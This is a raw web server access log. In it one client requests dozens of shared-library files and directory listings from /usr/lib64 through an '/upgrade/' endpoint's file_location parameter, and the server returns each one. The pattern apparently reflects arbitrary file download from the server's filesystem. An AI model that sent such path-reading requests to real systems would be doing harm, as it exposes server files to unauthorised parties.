45.135.193.11 - - [11/Sep/2026:23:03:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexiv2.so.0.27.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1073563 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexiv2.so.0.27.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfontconfig.so.1.12.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 255613 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfontconfig.so.1.12.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkmod.so.2.3.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153393 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkmod.so.2.3.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheora.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 218656 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheora.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-memb.so.6.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118840 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-memb.so.6.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaspell.so.15&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 383823 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaspell.so.15&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcbor.so.0.7.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126939 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcbor.so.0.7.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfwupd.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 287876 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfwupd.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibleveldb.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 252633 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibleveldb.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmsign.so.9.1.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113231 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmsign.so.9.1.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:38 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flibxslt-plugins HTTP/1.1" 200 5745 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flibxslt-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldb.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 203407 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldb.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibonig.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 307698 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibonig.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheoradec.so.1.1.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140304 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheoradec.so.1.1.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-mssim.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116812 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-mssim.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:40 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fudisks2 HTTP/1.1" 200 5947 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fudisks2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreetype.so.6.17.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 511191 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreetype.so.6.17.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-genl-3.so.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115489 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-genl-3.so.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbcinst.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132099 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbcinst.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-32.so.0.11.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 328409 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-32.so.0.11.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpthread.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106793 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpthread.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebrtc_audio_processing.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 427873 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebrtc_audio_processing.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSvtAv1Enc.so.0.9.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1916961 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSvtAv1Enc.so.0.9.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_system.so.1.75.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106202 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_system.so.1.75.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrack.so.2.9.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119383 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrack.so.2.9.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_extra-2.1.so.7.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 172845 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_extra-2.1.so.7.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy_test.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107795 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy_test.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjson-c.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136314 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjson-c.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtinfo.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 175967 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtinfo.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_mdraid.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116232 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_mdraid.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmagic.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 187702 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmagic.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_pmda.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153189 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_pmda.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrop_ambient.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106615 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrop_ambient.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgio-2.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 915260 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgio-2.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstreamer-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 709394 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstreamer-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisc-9.16.23-RH.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 347503 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisc-9.16.23-RH.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmnl.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113741 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmnl.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnfnetlink.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 117526 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnfnetlink.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpulse-simple.so.0.1.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110791 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpulse-simple.so.0.1.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:50 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Ftracker-miners-3.0 HTTP/1.1" 200 6361 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Ftracker-miners-3.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcrti.o&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104199 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcrti.o&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Feppic_makedumpfile.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 228614 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Feppic_makedumpfile.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra-gtk3.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111072 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra-gtk3.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdbus-1.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 255636 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdbus-1.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfribidi.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126962 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfribidi.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgthread-2.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106500 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgthread-2.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpciaccess.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121145 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpciaccess.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibEGL_mesa.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 238165 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibEGL_mesa.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbz2.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 134750 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbz2.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexslt.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 141241 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexslt.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnotify.so.4.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 117899 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnotify.so.4.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcrecpp.so.0.0.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121373 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcrecpp.so.0.0.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpkgconf.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132210 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpkgconf.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrbd.so.1.16.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 3925756 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrbd.so.1.16.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsombok.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 134403 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsombok.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:56 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgdk-pixbuf-2.0 HTTP/1.1" 200 5975 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgdk-pixbuf-2.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibBrokenLocale.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106724 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibBrokenLocale.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbz2.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 134499 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbz2.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanelw.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109101 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanelw.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
